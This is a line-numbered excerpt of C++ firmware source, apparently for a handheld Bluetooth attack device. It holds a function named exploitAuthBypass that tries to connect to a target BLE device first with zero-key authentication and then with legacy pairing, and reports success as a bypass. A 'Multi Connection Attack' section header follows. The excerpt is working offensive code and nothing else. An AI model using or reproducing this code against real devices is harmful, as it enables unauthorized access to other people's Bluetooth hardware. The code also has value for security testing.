| 2153 | } |
| 2154 | |
| 2155 | bool AuthBypassEngine::exploitAuthBypass(NimBLEAddress target) { |
| 2156 | AutoCleanup cleanup([]() { BLEStateManager::deinitBLE(true); }); |
| 2157 | |
| 2158 | showAttackProgress("Testing authentication bypass...", TFT_ORANGE); |
| 2159 | BLEStateManager::deinitBLE(true); |
| 2160 | delay(500); |
| 2161 | std::string zeroKeyName = "Zero-Key-Auth"; |
| 2162 | NimBLEDevice::init(zeroKeyName); |
| 2163 | NimBLEDevice::setSecurityAuth(true, false, false); |
| 2164 | |
| 2165 | NimBLEClient *pClient = NimBLEDevice::createClient(); |
| 2166 | if (!pClient) return false; |
| 2167 | |
| 2168 | BLEStateManager::registerClient(pClient); |
| 2169 | |
| 2170 | pClient->setConnectTimeout(8); |
| 2171 | bool connected = pClient->connect(target, true); |
| 2172 | |
| 2173 | if (connected) { |
| 2174 | showAttackProgress("Zero-key auth bypass worked!", TFT_GREEN); |
| 2175 | pClient->disconnect(); |
| 2176 | BLEStateManager::unregisterClient(pClient); |
| 2177 | NimBLEDevice::deleteClient(pClient); |
| 2178 | cleanup.disable(); |
| 2179 | return true; |
| 2180 | } |
| 2181 | BLEStateManager::unregisterClient(pClient); |
| 2182 | NimBLEDevice::deleteClient(pClient); |
| 2183 | |
| 2184 | BLEStateManager::deinitBLE(true); |
| 2185 | delay(500); |
| 2186 | std::string legacyName = "Legacy-Pair"; |
| 2187 | NimBLEDevice::init(legacyName); |
| 2188 | NimBLEDevice::setSecurityAuth(false, true, false); |
| 2189 | |
| 2190 | pClient = NimBLEDevice::createClient(); |
| 2191 | if (!pClient) return false; |
| 2192 | |
| 2193 | BLEStateManager::registerClient(pClient); |
| 2194 | |
| 2195 | pClient->setConnectTimeout(10); |
| 2196 | connected = pClient->connect(target, true); |
| 2197 | |
| 2198 | if (connected) { |
| 2199 | showAttackProgress("Legacy pairing bypass worked!", TFT_GREEN); |
| 2200 | pClient->disconnect(); |
| 2201 | BLEStateManager::unregisterClient(pClient); |
| 2202 | NimBLEDevice::deleteClient(pClient); |
| 2203 | cleanup.disable(); |
| 2204 | return true; |
| 2205 | } |
| 2206 | BLEStateManager::unregisterClient(pClient); |
| 2207 | NimBLEDevice::deleteClient(pClient); |
| 2208 | return false; |
| 2209 | } |
| 2210 | |
| 2211 | //============================================================================= |
| 2212 | // Multi Connection Attack |
no test coverage detected